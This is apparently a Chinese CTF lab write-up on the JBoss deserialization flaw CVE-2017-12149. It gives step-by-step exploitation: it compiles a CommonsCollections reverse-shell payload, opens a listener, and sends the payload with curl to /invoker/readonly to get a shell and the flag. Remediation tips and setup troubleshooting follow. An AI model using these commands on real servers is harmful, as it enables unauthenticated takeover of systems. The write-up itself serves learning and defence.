漏洞介绍
名称: jboss 反序列化 (CVE-2017-12149)
描述: Red Hat JBoss Enterprise Application Platform(EAP)是美国红帽(Red Hat)公司的一套开源、基于J2EE的中间件平台。该平台主要用于构建、部署和托管Java应用程序与服务。Jboss Application Server是其中的一款基于JavaEE的开源的应用服务器。 该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
影响的版本
5.x和6.x版本的JBOSSAS
解题过程
1.打开靶机
2.访问 /invoker/readonly路径,状态码为500,一般存在该漏洞
3.下载利用工具:JavaDeserH2HC(scan.javasec.cn/java/JavaDe…
把上面下载到的工具复制到云服务的linux系统里,输入以下命令(输入命令的时候要先切换到所下载工具文件夹目录中):
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:端口
4.然后将监听的端口打开,我这里用的是宝塔面板放行端口,很方便(一定要在服务器控制台也打开,否则没用)
监听端口4444(自己开哪个端口,就监听哪个端口)
5.执行完后,同目录下会生成一个ReverseShellCommonsCollectionsHashMap.ser文件,curl 这个二进制文件就可以了。
curl 目标ip/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
我的执行的代码是:
curl http://118.193.36.37:30334/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹shell,执行ls /tmp获得flag
修复建议
1.不需要 http-invoker.sar 组件的用户可直接删除此组件。
2.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对
http invoker 组件进行访问控制:
<url-pattern>/*</url-pattern>
遇到的一些坑
1.从提示信息中我们可以知道,是由于nc命令无法被找到
没有配置nc的命令
解决:
yum install -y nc
2.一开始一直反弹不了shell,后来发现是我服务器的端口没打开,我以为自己打开了,其实只在宝塔页面打开了,服务器其实没打开,还一直尝试反弹shell,太丢人了。
3.有java环境,执行javac的时候提示没有这个命令,说明需要配置环境变量。
修改配置文件
vim /etc/profile
在文件末尾添加以下代码:(“/usr/local/jdk1.8.0_144”改成自己jdk的安装路径)
export JAVA_HOME=/usr/local/jdk1.8.0_144
export PATH=.:$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
4.第一次反弹shell没成,再次监听端口时报错:
bind: Address already in use
说明端口被占用了,解决办法:
先查看端口使用情况,然后记住该端口进程的PID
netstat -ano|grep “4444”
然后杀死该进程
kill -9 PID
再次监听端口,成功监听